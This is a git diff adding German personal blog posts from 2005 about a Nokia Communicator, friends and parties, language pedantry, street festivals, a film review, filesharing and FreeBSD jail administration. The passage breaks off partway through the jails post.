6Ich bin ja normalerweise nicht so der ein-URL-Poster, aber das hier finde ich spannend: Laut [dieser Karte von 1945](http://rkkaww2.armchairgeneral.com/maps/1945W/Berlin/153GdsRflReg_Berlin_Apr25_May_01_%20VIZ_1982_05.jpg) wurde mein neuer Wohnort am 25. April 1945 von der von Osten anrueckenden Roten Armee befreit. [Mehr Karten von Berlin](http://rkkaww2.armchairgeneral.com/maps/maps1945W.htm#Berlin), auch Kaempfe um den Reichstag gibt es auch. Danke, Sascha.
diff --git a/blog/2005/Beobachtungen.md b/blog/2005/Beobachtungen.md
new file mode 100644
index 0000000..4910511
--- /dev/null
+++ b/blog/2005/Beobachtungen.md
@@ -0,0 +1,19 @@
1<!--
2.. date: 2005/05/27 14:37
3.. title: Beobachtungen
4-->
5
6Ich hab mir, wie bereits berichtet, den neuen Communicator er-ebay-t. Vorab, bei aller Kritik, die man als Nerd natuerlich auch immer am fast Perfekten hat: ein
7cooles Geraet! Endlich GPRS und Bluetooth, ein Prozessor mit zeitgemaessem Takt - habe ich ja alles [schon mal geschrieben](https://erdgeist.org/stats/blog/#2004_02_23_23_38_Von_wegen_nichts_erlebt). Was ich nicht gedacht haette, dass ich ernstlich
8Gefallen an der Kamera finden wuerde. Nicht, dass ich mich jetzt zu MMS-Spielchen hinreissen lassen wuerde, wo es doch Bluetooth gibt, aber so als "nette
9Location, mal fuer ein Shooting festhalten"-Moeglichkeit, die man immer mit sich rumtraegt, ist es schon nuetzlich. Ausserdem entsteht daraus ja auch gerade eine
10[Kunstform](https://outpost.h3q.com/blog/2005-05-26-01.blog). Ich hab da mal [![](http://erdgeist.org/stats/blog/pics/Kapelle.jpg)](https://erdgeist.org/stats/blog/pics/Kapelle.jpg) noch [![](http://erdgeist.org/stats/blog/pics/Studium.jpg)](https://erdgeist.org/stats/blog/pics/Studium.jpg) zwei Bilder fuer die Galerie.
11
12Einige Wermutstropfen hab ich beim 9500 aber doch entdecken muessen: erstens kann man keine WLan-Netzwerknamen explizit angeben und kann deswegen nicht in hidden
13networks assoziieren, Helden! Zudem hoert man beim mitgelieferten Headset nicht, wenn das Telefon klingelt. Und das, wo ich mich gefreut hatte, endlich auch auf
14dem Moped erreichbar zu sein. Wo es doch keinen Vibrationsalarm gibt... Menno! Aber eigentlich ueberwiegen die geilen Features. Dank Bluetooth kann ich jetzt
15(mit ein wenig Hilfe von [denen hier](http://apfelwiki.de/wiki/Main/Nokia9500Communicator)) auch mit dem Notebook einfach so&trade; syncen, SMSen
16schicken, bekomme Anrufe gross aufs Display... - mein erstes Bluetoothgeraet halt. Das Display ist stateoftheart, geht in der Sonne und sieht im Dunkeln
17gestochen scharf aus, der Lautsprecher ist [pumpanickle-songs-tauglich](http://pumpanickle.de/), d.h. er hat sogar ein paar Baesse und die 1GB
18Speicherkarte laedt zum mp3-Sammlung mitnehmen ein. Ich werde noch ein wenig in meiner Kohorte mit dem Geraet posen, vielleicht habe ich dann ja bald genug Leute
19zum Communicator-WareZ traden. ;)
diff --git a/blog/2005/Ch-Ch-Ch-Ch-Changes.md b/blog/2005/Ch-Ch-Ch-Ch-Changes.md
new file mode 100644
index 0000000..7b9f8b5
--- /dev/null
+++ b/blog/2005/Ch-Ch-Ch-Ch-Changes.md
@@ -0,0 +1,31 @@
1<!--
2.. date: 2005/05/07 16:08
3.. title: Ch-Ch-Ch-Ch-Changes
4-->
5
6Manno, werd' ich alt. Nachdem die Einweihungsparty bei Bert nicht so recht in Schwung kommen wollte, hab' ich mir den Cryx geschnappt, um noch einen
7lustigen Junggesellenabend zu verleben. Dazu sind wir erst zum Osthafen gerollert. Dort war eine Party mit elektronischer Musik im Gange. Ich fuehlte
8mich ein wenig underdressed, dem Cryx war die Musik zu langweilig. Das anschliessende Couchen zu einem [Schwarzweissfilm](http://outpost.h3q.com/blog/2005-05-07-01.blog) bei mir fuehrte dazu, dass ich
9meinem Besuch umgehend ins Schnarchland entfloh. Tolle Wurst. Zu meiner Rechtfertigung kann ich einzig anbringen, dass mich das fruehe Aufstehen zur
10Uni nun genau jeden Tag um halb neun von allein aufwachen laesst und ich bei Baerbel vorher extrem lecker und viel von Spargel mit Putenschnitzel und
11selbstgemachter Sauce Hollandaise vertilgt habe, was schonmal zu einer Grundtraegheit fuehren musste.
12
13Zumindest war ich heute wieder rechtzeitig wach, um dem Dirk beim Umziehen mit seiner frisch Angetrauten zu helfen. Der allgemeine Trend zeigt ja an,
14dass das Wedding-Experiment gescheitert ist: Tina hat's nach Bonn verschlagen, Starbug ist zurueck in den Osten, nach Pankow und eben Dirk in den
15Friedrichshain. Der Umzug selber war nix besonderes, so alte-Leute-Umzug mit 3,5t-Robbe und nem Fahrstuhl, schnell erledigt. Nur das spaetere
16Zusammensitzen bei Suppe und Kuchen hat mich dann geschafft. Lauter glueckliche Paerchen mit oder in Erwartung von Kindern und dieser eine Spruch, den
17man sich auf der Zunge zergehen lassen muss: "Das ist halt so, irgendwann fordert die Natur ihr recht, sie hat da so ihre Tricks, da ist dann nichts
18mehr mit Nachdenken, das kann man nicht rationell erklaeren, da ist dann dieser Drang da, dem kann man sich nicht widersetzen, da braucht man auch
19einfach jemanden, man muss ja da irgendwo hin, mit all seiner Liebe." Jungs: Don't even think about using THIS as an excuse!!!
20
21Genau wie der Bert hat der Dirk sich aber eine offen dekadente Huette zugelegt. Vorbei die prallen Punk-, bzw Nerdtage! Da gibz Erkerzimmer, zwei
22Balkone, Fahrstuhl mit Schluessel. Letzteres ist mir eine komplett uneinsichtige Entwicklung. Will der Vermieter damit verhindern, dass Penner im
23Fahrstuhl naechtigen? Oder dass Einbrecher die Beute nicht bequem per Lift runterschaffen? Als erstes ist mir natuerlich aufgefallen, dass ganz
24legitime Gaeste irgendwann entnervt aufgeben und Treppen steigen werden, was vielleicht fuer aeltere Menschen keine Freude ist. Irgendjemand ne
25Idee?
26
27Wie schon erwaehnt, ist der Dirk ja nun frisch vermaehlt und meine Combo hatte die Ehre, auf der Feier aufzuspielen. Ich konnte dabei mit meinen eigens
28von Baerbel aus Thailand eingeflogenen knallroten Chucks glaenzen und hatte Mordsspass. (Bei der Gelegenheit haben wir gleich noch eine Openstage in
29der c-base beschlagnahmt und werden da irgendwann mal rocken,. Das Musikvideo, von dem ich schon berichtete, ist zwar noch nicht ganz offiziell fertig,
30sieht aber schon cool aus.) Am Morgen drauf war ich mit Opa zum Mittag verabredet und hatte die unglaubliche Freude, von einem Ouzu beim Griechen
31begruesst zu werden. Hilft aber gegen Kater. (Links gibts wieder, wenn ich besser drauf bin.)
diff --git a/blog/2005/Darunter_drei_Deutsche.md b/blog/2005/Darunter_drei_Deutsche.md
new file mode 100644
index 0000000..b1c2bc2
--- /dev/null
+++ b/blog/2005/Darunter_drei_Deutsche.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2005/01/02 16:33
3.. title: Darunter drei Deutsche
4-->
5
6Die Meldungen. Bangkok - Ein Tsunami hat halb Suedostasien ueberschwemmt. 150000 Menschen starben, darunter drei Deutsche.
diff --git a/blog/2005/Deppen.md b/blog/2005/Deppen.md
new file mode 100644
index 0000000..6322a48
--- /dev/null
+++ b/blog/2005/Deppen.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2005/05/26 16:27
3.. title: Deppen
4-->
5
6Ich bin ja ein heimlicher Fan von [Zwiebelfisch](http://www.spiegel.de/kultur/zwiebelfisch/). Auch wenn ich mich mit meinem Drummer elendig lange streiten kann, in wie weit der pflegliche Umgang mit seiner Muttersprache deren natuerlicher Weiterentwicklung entgegensteht, auch wenn ich mich verteidigen muss, wie kleinkariert ich doch sei, wenn mir wegen dem Genitiv spontan Pickelchen auf der Iris spriessen. Ungeachtet der Tatsache, dass ich zuweilen Leuten auf die Nerven gehe, die Superlative am maximalsten geil finden. Nein! Ich stehe dazu, dass ich eine sprachkonservative Quaengelbacke bin. Die neue Rechtschreibung ist mir ein Graus und Rechtschreibe- und Grammatikfehler in gedruckter Form, zum Beispiel auf Werbeplakaten oder an Buden, tun mir ehrlich weh, weil sie als Multiplikatoren flegelhaften Umgangs mit der Sprache Wiedererkennungseffekte ausloesen.
7
8Ich erwische mich natuerlich auch selber dabei, Fluechtigkeitsfehler in meinen Texten zu haben, peinlich in soweit, als dass dies darauf hinweist, dass man sich nicht die Zeit genommen hat, sein Geschriebenes noch einmal querzulesen. Systematische Fehler kommen mir aber nicht ins Haus: [Deppenapostrophen](http://www.apostroph.de/motivation.php) (sehr schoenes Essay, das weitgehend auch meine Gefuehlslage widerspiegelt) fliessen mir genausowenig aus den Fingern, wie [Leerzeicheninkontinenz](http://www.agopunktion.de/).
9
10Der Grund, dass ich nun gerade heute wieder darauf komme, ist [![](http://erdgeist.org/stats/blog/pics/Lofts.jpg)](http://erdgeist.org/stats/blog/pics/Lofts.jpg) jenes Bild hier. Oft bringe ich naemlich vor, dass Trenn- und Apostrophenfehler den Wortsinn entstellen und zu Missverstaendnissen fuehren koennen. Konkrete Faelle sind dann im Eifer des Gefechts schwer hervorzubringen. An dieser Stelle (wer\'s nicht entziffern kann, da steht an einem Plakat an der Hauswand "Loft\'s hier") aber bleibt einem als korrekte Antwort nur "Ick wees nich, ob\'s hier loft".
diff --git a/blog/2005/Feiervolk.md b/blog/2005/Feiervolk.md
new file mode 100644
index 0000000..ea50dd8
--- /dev/null
+++ b/blog/2005/Feiervolk.md
@@ -0,0 +1,38 @@
1<!--
2.. date: 2005/06/13 14:55
3.. title: Feiervolk
4-->
5
6Gestern gab es statt Probe Musik anhoeren. Die Band von Susi hat das erste Mal live gespielt. Klassische Besetzung plus Geige und Bratsche. Interessante
7musikalische Basis (allesamt Musikstudenten), leider nur 3 eigene Songs zum Eindruck gewinnen.
8
9Danach mit Ern und Freunden auf ein Volksfest. [Bergmannstrassenfest](http://www.bergmannstrassenfest-kreuzbergjazzt.de/). Auf Strassenfesten habe
10ich ja selber als Promotionhampel fuer das Berliner Abendblatt meine erste Miete verdient und stand da auch jedes Wochenende auf einem der sehr individuellen
11Feste herum.
12
13Anfangs wurden diese von engagierten Kiezbewohnern organisiert, die ein wenig das Kennenlernen in ihrer Strasse vorantreiben wollten. Ich kann mich noch gut
14erinnern, wie 1995 auf dem Muellerstrassenfest der Besitzer der Brautmoden selber einen Bratwurststand betrieben und am Ende eigentlich alle Wuerste verschenkt
15hat.
16
17Mit Volksfesten, eine Binsenweisheit, laesst sich aber Geld verdienen. Viel Geld. Man holt sich eine Strassensondernutzungserlaubnis beim Ordnungsamt, karrt
18eins, zwei Buehnen heran und vermietet die Strasse in Parzellen an fliegende Mampf-, Ramsch-, Blumen- und Ethnolaeden, laesst ein paar schlechter positionierte
19Buden fuer Amnesty International, Kinderschminken und die Lokalgazetten frei (damit die im Gegenzug laenglich dafuer werben) und fertig ist der Lack. Danach
20wird das Volk durch die den Konsumtunnel gepfercht, darf sein Geld links und rechts der Strasse lassen und sich freuen, was sein Kiez nicht alles auf die Beine
21stellt.
22
23Mit diesem Konzept verdienen in Berlin unter anderem die Firmen [Nareyka](http://www.nareyka.de/) und [Laubinger](http://www.laubinger.de) ihr Geld. An den 25 strassenfesttauglichen Wochenenden finden laut [Bericht](http://www.berlin.de/senwiarbfrau/markt/feste.html) des Senats fuer Wirtschaft, Arbeit und Frauen in diesem Jahr 12 Feste von Nareyka und 10
24von Laubinger statt. (Dazu kommen Weihnachtsmaerkte und Grossveranstaltungen wie die Loveparade.) Tendenz steigend.
25
26Dankenswerterweise gibt es aber noch Organisatoren, die den Brand ihres Fests nicht so einfach abgeben, sondern weiter selbst organisieren, so dass die
27ueblichen Verdaechtigen Mampf-, Ramsch-, Blumen- und Ethnolaeden nicht immer mit den selben Verhandlungspartnern an den Tisch muessen, sondern ihre Bude bei
28den Kiezlern bezahlen. Das Kuchenbasar und Papa-grillt-selber Feeling kommt trotzdem nicht mehr. _Das_ durfte ich naemlich genau bei dem Sommerhoffest
29dort erleben, wo Susis Band ihren Probenraum hat: das ganze Haus kramt all sein Zeug hervor, stellt selber ein Buehne auf. Resultat: Grillen und Kuchen, zwei
30Bierfaesser und mehrere nette Plaeusche. Mehr davon!
31
32Gut. Ganz in Nostalgie zu versinken, macht natuerlich keinen Sinn, frueher sind die fahrenden Jahrmaerkte einmal im Jahr mit ihren Attraktionen und Mampf-,
33Ramsch- und Fahrgeschaeften in die Stadt gekommen und haben den Staedtern und Doerflern die Kohle aus der Tasche gezogen. Aber es tut schon immer wieder ein
34wenig in der Seele weh, wenn private Aktionen kommerzialisiert werden.
35
36Eins habe ich aber beim in der Bergmannstrasse noch mitgenommen: [Zuckerwatte](http://www.henrikschrat.de/2002/Zuckerwatte/detail.jpg). Das habe ich
37schon seit 15 Jahren nicht mehr genascht und da musste ich einfach zuschlagen. Und [Zuckerwatte in der
38Wikipedia](http://de.wikipedia.org/wiki/Zuckerwatte) weiss ich jetzt auch, wie das eigentlich funktioniert.
diff --git a/blog/2005/Filmkritik.md b/blog/2005/Filmkritik.md
new file mode 100644
index 0000000..e7fab86
--- /dev/null
+++ b/blog/2005/Filmkritik.md
@@ -0,0 +1,20 @@
1<!--
2.. date: 2005/12/11 00:17
3.. title: Filmkritik
4-->
5
6Mit Filmverrissen lehnt man sich ja meist ziemlich weit aus dem Fenster: Man sei doch eh kein Cineast und solle doch mal jeden sein Urteil selber faellen lassen,
7vielleicht gefiele es ja doch wem und man muss sich seiner Meinung rechtfertigen... Die Alternative ist jedoch, dass, wenn man einen Scheissfilm gesehn hat und
8nicht davor warnt, gute Kumpels vielleicht Zeit und Geld verschwenden.
9
10Nachdem allerdings [telepolis](http://www.heise.de/tp/r4/artikel/21/21525/1.html) ueber [diesen Film](http://www.luecke-im-system.de/)
11schrieb: _"Lücke im System" könnte ein Kultfilm der Computerszene werden_, will ich doch dringend davon abraten, sich den anzutun: Der Darsteller sind
12lieblos bei der Sache, wer kein franzoesisch kann, wird mit einer noch liebloseren deutschen Synchronisation genervt, der Versuch, Paranoia zu schueren, wirkt
13dilettantisch und oberflaechlich, man will wegen der unsympathischen Charaktere nicht einmal die Poppen-unter-der-Dusche-Szenen angucken. Da in Spielfilmen die
14Szenen, die sich um Viren und Nerd-Toys drehen, generell eher lachhaft sind, will ich das dem Film nicht weiter anlasten, nur die
15Worldleader-eMail-Adressen-Liste mit georges.bush@whitehouse.gov, yarafat@p-p-o.com und johannes.rau@gov.de haben mich in die
16Hand beissen machen.
17
18Gibt es etwas Gutes ueber den Film zu sagen (ausser, dass ich nur dreifuffzich in der Sneak fuer ausgegeben habe)? Ja: der Name "Hard and Soft" fuer einen
19Nerdshop und der anzuegliche Anrufbeantwortertext dazu war ulkig. Achja: fuer "Full Access" auf der Filmwebseite muss man nach dem Clicken auf "Full Access" das
20geheime Kennwort "Virus" eingeben, wenn man gefragt wird, was auf der CD war.
diff --git a/blog/2005/Fotoblog.md b/blog/2005/Fotoblog.md
new file mode 100644
index 0000000..9374d3a
--- /dev/null
+++ b/blog/2005/Fotoblog.md
@@ -0,0 +1,9 @@
1<!--
2.. date: 2005/05/24 02:11
3.. title: Fotoblog
4-->
5
6Nachdem [der Cryx einen Imagefeed](http://outpost.h3q.com/blog/2005-05-22-01.blog) aufgemacht hat, fuehlte ich mich gleich animiert, das mit meinem
7frisch bei ebay erstandenen [Communicator](http://www.nokia.com/9500) gemachte [
8![](/stats/blog/pics/GutenMorgen.jpg)</img>](/stats/blog/pics/GutenMorgen.jpg) Foto hochzuladen. Ma kiekn.
9Communicator-Testbericht kommt spaeter.
diff --git a/blog/2005/Grundsatz.md b/blog/2005/Grundsatz.md
new file mode 100644
index 0000000..6f464c8
--- /dev/null
+++ b/blog/2005/Grundsatz.md
@@ -0,0 +1,30 @@
1<!--
2.. date: 2005/11/01 04:23
3.. title: Grundsatz
4-->
5
6Ich entsinne mich an der Stelle mal des Grunds, weshalb ich dieses Blog ueberhaupt angefangen hab: **es ist fuer mich**. Ich wollte spaeter darauf schauen und nachvollziehen, wieso ich welche Entscheidung in meinem Leben getroffen habe. Ein Fotoalbum in meinem Kopf, und wenn es farbig genug ist, bei den Lesern Bilder hervorzurufen, die sie nicht gesehen haben, sollte es fuer mich in 40 Jahren auch noch reichen.
7
8Nun gut. Ich habe das Blog vernachlaessigt. Wenn ich ehrlich bin, schon seit einem halben Jahr. Ich habe ab und zu Dinge geschrieben, bei denen es sich nicht vermeiden liess, sie zu bloggen. Aber eigentlich nichts, was ich nicht spaeter auch googlen koennte. Und gerade kulminiert so ein Stapel Dinge, die mich treiben.
9
10Ich mag es nicht, das Gefuehl zu haben, von den Dingen einfach nur getrieben zu werden. Ich bin in eine neue WG gezogen und man kann es so sehen, dass ich etwas Neues ausprobieren wollte (stimmt), dass ich Lust hatte, mal in einer WG zu wohnen, in der man mehr als nur nebeneinander lebt (stimmt auch und kommt der Sache schon naeher). Man kann es aber auch so sehen, dass mir die zunehmend ungemaechliche Zusammenwohnsituation in meiner alten Wohnung am Ende nichts weiter uebrig liess, als das Experiment zu beenden.
11
12Ein guter Freund hat mich gefragt, warum ich denn als Hauptmieter nicht einfach meinen Untermieter hinausgeworfen hab. Gute Frage eigentlich. Erst war ich verstoert, dass er meine Beweggruende nicht nachvollziehen kann. Dann war ich verstoert, dass ich es auch nicht kann. Es gab wohl einfach mehr Gruende zu fliehen, als zu bleiben.
13
14Heute habe ich meine Wohnung uebergeben. Besser gesagt habe ich meinen Hausmeister im Zustand ueberrumpelt, in dem er zu betrunken war, noch ernsthaft Kritik am Zustand der Wohnung zu ueben, aber gerade noch nuechtern genug, um zu begreifen, was ich von ihm wollte. Beim Stromern durch die Zimmer sind Tretminen der Erinnerung losgegangen, wie sie auch in der ganzen Stadt verstreut sind. Nicht die, die einem sowieso kommen: erste eigene Wohnung, erste Zimmermannserfahrungen, Parties, erster Damenbesuch und sowas.
15
16Ich mag noch ein wenig um den heissen Brei herumschreiben. Vor allem will ich wenigstens versuchen, die letzten Monate zu begreifen. Ich hab einen Urlaub mit Cryx selbstgebaut und wurde doch in drei Reisen geschubst ([es gibt sogar Bilder.](/stats/blog/pics/ROM)). Ich wurde von grossartigen Bandkumpels durch die abgefahrensten Erlebnisse manoevriert. Ich bin von einem coolen Chef in eine fantastische Firma gelockt worden. Ich bin zum Chefredakteur in einer Zeitschrift avanciert, weil ich mit einem in Wuerde (fast) erwachsen gewordenen (und hier gehen mir ploetzlich die Adjektive aus) Kumpel zum richtigen Moment am Fruehstueckstisch sass. Ich bin in eine Wohlfuehl-WG gestolpert, weil durch Zufall die richtigen Leute Single geworden sind. Ich bin Chefadmin in meinem bereits beschriebenen "Gute-Freunde-Server-Projekt" geworden, weil alle anderen keine Lust hatten, sich naeher damit zu beschaeftigen und ich das in den richtigen (oder falschen) zwei Wochen mal spannend fand.
17
18Es ist Bloedsinn, dass es Momente sind, die das Leben veraendern. "Momente" sind Katalysatoren, sie stehen am Ende oder Anfang einer Entwicklung. Wie man mit den Ereignissen umgeht, ist, was das Leben ausmacht. Nein eher, was einen Menschen ausmacht. Und wenn ich mich einfach treiben lasse, dann **koennen** tolle Dinge passieren. Man tut aber nie die richtigen Dinge, um sie passieren zu lassen. Im Gegenteil. Da ich nie (oder zu selten) dafuer gekaempft habe, sie zu bewahren, konvergiert das Leben im Zustand groesstmoeglicher Entropie. In seinem Leben das zweite Gesetz der Thermodynamik bestaetigen zu wollen, ist nicht erfuellend.
19
20Ich habe, in aktiver und passiver Position, erlebt, dass Menschen jemanden brauchen, der sie bei der Hand nimmt, ihre eigenen Traeume wahrzumachen. Man funktioniert also selber, mit einer gewissen Selbstsicherheit, als Katalysator. In besagter Zeitschrift genuegte zu sagen "man macht jetzt mal" und alle Mitstreiter taten mehr als 200% dessen, was eigentlich noetig gewesen waere.
21
22Eines der Dinge, die mich haben nachdenken lassen, war, dass ich zum ersten Mal seit 15 Jahren meinen Schluessel zu hause hab liegen lassen. Ich bin nicht sonderlich ordentlich, verplane gerne Termine, nehme alle sich bietenden Fettnaepfchen mit... aber habe eine ausgewachsene Neurose meinen Schluessel betreffend. Wenn er sich nicht direkt an meinem Koerper befindet, heisst es, dass ich keine Hose anhabe. Gestern nun, zum denkbar unguenstigsten Termin (Wohnungsuebergabe, vorher noch malern, all das), fuehlt sich die Schluesseltasche einen Tick zu leicht an. Und alle Mitbewohner sind nicht erreichbar. Wenn es fuer mich ein Zeichen gibt, dass mein Leben gerade desynchronisiert ist, dann **das**.
23
24Und heute abend gab mir dann [ein Film](http://www.film.de/moviecontent.php/id/7565/) den Rest. Mich liess das Gefuehl nicht los, jemand haette mein Leben verfilmen wollen und sich nur im Ende geirrt. Dort gab es naemlich ein happy end. Und nun habe ich endlich das Sprungbrett zu schreiben, was mich wirklich mitnimmt: Der Held im Film bekommt, trotz seiner Bloedheit, die wundervolle Rothaarige zurueck. Der Schreiber dieser Zeilen nicht.
25
26Ich hab lange ueberlegt, wie ich es am wenigsten weinerlich klingend erzaehlen kann. Man nehme all die Zeilen diesen Eintrags und fuege sich sein Bild zusammen. Ich habe **die** Beziehung verspielt. Ja, diese eine. Die, die einen wohl noch 10 Jahre spaeter mit dem Kopf gegen die Wand schlagen laesst. Auf die selbe Art und Weise wie im Film. Einer kurzlebigen, langweiligen Oberflaechlichkeit geopfert. Auf der Jagd nach sich nie erfuellenden Versprechen, einer angeblichen Schoenheit.
27
28Genug Stoff, einen aus der Bahn zu schubsen, genug Grund um zu fliehen vor den Erinnerungen und dem Hass auf sich selbst, der so beisst, dass er weh tut. Vielleicht eine Erklaerung fuer die Leere der letzten Monate. Ganz sicher jedoch ein dringender Anlass zu Reflexion und dem festen Vorsatz, sich meines Lebens wieder aktiv anzunehmen und nicht mehr nur der Dinge zu harren.
29
30Stay tuned.
diff --git a/blog/2005/Haben_wir_doch_schon.md b/blog/2005/Haben_wir_doch_schon.md
new file mode 100644
index 0000000..49decc6
--- /dev/null
+++ b/blog/2005/Haben_wir_doch_schon.md
@@ -0,0 +1,37 @@
1<!--
2.. date: 2005/06/11 21:43
3.. title: Kulturflatrate - Haben wir doch schon
4-->
5
6Ich hatte heute auf dem [Projekt-P](http://www.projekt-p.de/) die Freude, einer [Diskussion ueber Filesharing](https://berlin05.ccc.de/fahrplan/event/372.en.html) beizuwohnen. Ich habe mich wirklich aufgeregt. [Frank wohl auch.](http://frank.geekheim.de/?p=62) Nerds projezieren ihre tumbe Welt- und naive Gerechtigkeitssicht auf die Musikindustrie "jeder wuerde
7doch natuerlich freiwillig bei Konsum eines Kunstwerks dem Kuenstler Geld zukommen lassen, das Problem ist nur, dass es nicht geht". Die freiwillige Mitarbeit an
8freier Software wird zur Verpflichtung an alle ausgelegt, den selben Altruismus an den Tag zu legen.
9
10Dass die Schranke der Privatkopie eine Anerkennung der Tatsache ist, dass eh alle kopieren und man im Ausgleich auf Kopiermedien Gebuehren erhebt, wird immer
11wieder unzutreffend in "das Gesetz gibt jedem das Recht, Kopien zu erstellen" umgedeutet. Wenn man halt nicht kopieren kann, weil der Hersteller das auf
12technischem Wege verhindert, fuehrt das auch dazu, dass man kein Kopiermedium einsaut. Passt irgendwie schon. Man muss die CD ja nicht kaufen.
13
14Meines Erachtens geht es Kuenstlern zur Zeit so gut, wie nie in der Geschichte zuvor. Brotlose Kunst bedeutete ueber Jahrhunderte genau das: man ist im Zweifel
15verhungert. Heute sind Musiker auf der einen (zugegeben zahlenmaessig verschwindend geringen, aufmerksamkeitsoekonomisch aber sehr viel Raum einnehmenden) Seite
16Weltstars mit unverschaemten Einkommen.
17
18Wenn die das in der Marktwirtschaft so hinbekommen, ist das total legitim. Die verkaufen aber nicht ihre Songs. Die verkaufen ein mehr oder minder muehsam
19konstruiertes Image, was unter anderem beim Musikverkaufen hilft. Wer andere Leute dazu bringt, ihm freiwillig rauhe Menge Kohle in den Rachen zu werfen, hat es
20verdient. So funktioniert das mit der Werbung. Und wenn man keine Songs als Daten mehr verkaufen kann, aber trotzdem stinkend reich bleiben will, muss man sich
21halt etwas anderes einfallen lassen. Die Gesellschaft kann nicht dazu da sein, den dekadenten Status quo zu erhalten.
22
23Auf der anderen Seite leistet sich unsere Gesellschaft laengst eine Kulturflatrate. Wir leisten uns, dass niemand verhungern muss, der kein Nuetzling in
24marktwirtschaftlicher Sicht ist. Man kann gut und gerne 10 Jahre lang an seine Mal-, Gesangs-, Bildhauer-, oder sonstigen kulturellen Skills arbeiten, kostenlos
25lernen bis der Arzt kommt (OT: was gerne uebersehen wird: man kann auch ohne Studiengebuehren an der Uni etwas lernen, man bekommt halt nur keinen Abschluss
26dafuer) und wird trotzdem gefuettert. Wenn man im Kapitalismus nicht mitspielen moechte, hat man daher gerade die Moeglichkeit dazu, wenn man es jedoch will,
27muss man halt die Spielregeln befolgen und etwas "Nuetzliches" tun.
28
29Ein Weg, mit dem Problem "Bezahlen von Musikern" umzugehen, koennte sein, dass man zum Dienstleistungsgedanken zurueckkehrt: solange es keine Neurorecordings
30gibt, ist ein Livekonzert mit vielen gleichtickenden Leuten um einen herum um Groessenordnungen geiler, als der Konsum im Zimmerchen auf Anlage, allein. Songs
31auf Platte oder im Netz koennten/sollten Werbung fuer die kostenpflichtige Teilnahme am Konzert sein. Oder Werbung fuer die Marke Kuenstler, der sich dann in
32Waschmittelspots Schmerzensgeld fuer die Entwuerdigungen verdienen kann, oder anderen Leuten fuer Geld die Erlaubnis gibt, Flauschpueppchen oder Poster mit
33seinem Conterfait zu verticken.
34
35Natuerlich funktioniert das fuer unansehnliche, ausgewiesene Studiomusiker nicht, die einzig ueber den Verkauf der Verwertungsrechte fuer die Stuecke an sich
36angewiesen sind. Um aber auf die geschichtlichen Parallelen zurueckzukommen: dann muss man sich halt einen Maezen suchen, oder wie es Funny van Dannen so
37treffend ausdrueckte: ["es muessen ja nicht alle gluecklich sein"](http://funny-van-dannen.de/lied/uruguay/08-ice.pdf).
diff --git a/blog/2005/Heldenblogger.md b/blog/2005/Heldenblogger.md
new file mode 100644
index 0000000..4fa6d60
--- /dev/null
+++ b/blog/2005/Heldenblogger.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2005/01/21 12:29
3.. title: Heldenblogger
4-->
5
6Und da ich ja nun bei wirklich jeder google-Bombe mitmache: [Planetopia Lügt](http://blog.schockwellenreiter.de/7793).
diff --git a/blog/2005/KnastHorst.md b/blog/2005/KnastHorst.md
new file mode 100644
index 0000000..af9e571
--- /dev/null
+++ b/blog/2005/KnastHorst.md
@@ -0,0 +1,128 @@
1<!--
2.. date: 2005/08/05 03:03
3.. title: KnastHorst
4-->
5
6Auf meinem gute-Freunde-Shell-Server, auf dem auch diese edle Seite liegt, hatte ich bisher ein
7FreeBSD4.(5-11) installiert. In diesem wurden 14 sogenannte Jails gefahren. Das ist der
8FreeBSD-Ansatz, chroot soweit zu treiben, damit in virtuellen FreeBSD-Systemen root-Rechte
9vergeben zu koennen, ohne damit die Integritaet des Hostsystems zu beeintraechtigen.
10
11Einige jails werden als shared service von $kumpel und mir betrieben, so ein mail-, ein www-
12und ein nameserver, andere in die Hand von Freunden gedrueckt. Da der Server wegen .. sagen
13wir, Rechenschwaechen .. des derzeitigen Hosters dort nicht mehr stehen bleiben kann und somit
14ein Umzug auf andere Hardware notwendig wird, werde ich die Gelegenheit nutzen, auf ein
15FreeBSD5 oder 6 zu wechseln.
16
17Das bringt mehrere Vorteile mit sich: a) sind nuetzliche Tools zur Jailverwaltung, naemlich jls
18und jexec und 'kill -j' hinzugekommen, b) hat es das script `/etc/rc.d/jail` und
19macht jails laufen lassen zum Spass und c) sind da viele nette Features im Kernel, wie z.B. KSE,
20die das OS snappier[tm] machen sollten.
21
22Bisher musste ich alle jails muehsam von einem selbstgehackten Scripteset kontrollieren lassen.
23Um nicht fuer jedes jail ein komplettes Betriebssystem auf der Platte herumliegen zu haben
24(kostet viel Platz), wird die Welt aufgeteilt in ein zentral gewartetes basejail (`/bin
25/sbin /usr/bin /usr/include /usr/lib /usr/libexec /usr/sbin /usr/src /usr/share /usr/ports
26/usr/src`) und die zweite, vom User anpassbare Haelfte, das "newjail" (kostet wenig Platz,
27um die 8MB). Ersteres wird nun readonly in jedes Jail (nach `/usr/jails/*/basejail`)
28gemounted. Softlinks lassen dann z.B. `/usr/bin` nach `/basejail/usr/bin`
29zeigen. (`man jail` zeigt die Schritte, die man braucht, sich ein basejail zu
30basteln, ein lokales cvs-repository hilft). Soweit, so gut.
31
32Nun gab es dieses kleine Problem: fuer das simple loopback-Mounten eines Verzeichnisses hat
33sich FreeBSD mount_nullfs ausgedacht. Doch ein kleiner Blick in die man-page macht einem den
34Mut, den man braucht, seinen Mailserver darauf aufzubauen: <cite>"THIS FILE SYSTEM TYPE IS NOT
35YET FULLY SUPPORTED (READ: IT DOESN'T WORK) AND USING IT MAY, IN FACT, DESTROY DATA ON YOUR SYSTEM.
36USE AT YOUR OWN RISK. BEWARE OF DOG. SLIPPERY WHEN WET."</cite> Meine ersten Versuche vor ein
37paar Jahren ergaben genau dies: crashes und komische Effekte im Filesystem. Spaetere Experimente von
38Freunden erbrachten zwar keine Crashes mehr, dafuer aber ploetzliche hohe CPU-Load. Aus diesem
39Grund werkelt nun zur Zeit auf dem Server noch ein nfs-server, der fuer localhost das basejail
40exportiert und lauter mount_nfs, die es wieder mounten. (Dazu muss man erstmal [portmap
41patchen](http://lists.freebsd.org/pipermail/freebsd-bugs/2004-November/010320.html)) Mit so einem Setup kann man nicht prahlen gehen :(
42
43Neulich entdeckte ich jedoch [die
44Todoliste fuer die 6.0er Release](http://www.freebsd.org/releases/6.0R/todo.html), in der angedeutet wird, dass <cite>"Nullfs (and perhaps
45other filesystems) use an absurdly small hash size that causes significant performance
46penalties." </cite> Der Source (`/usr/src/sys/fs/nullfs/null_subr.c`) verriet mir
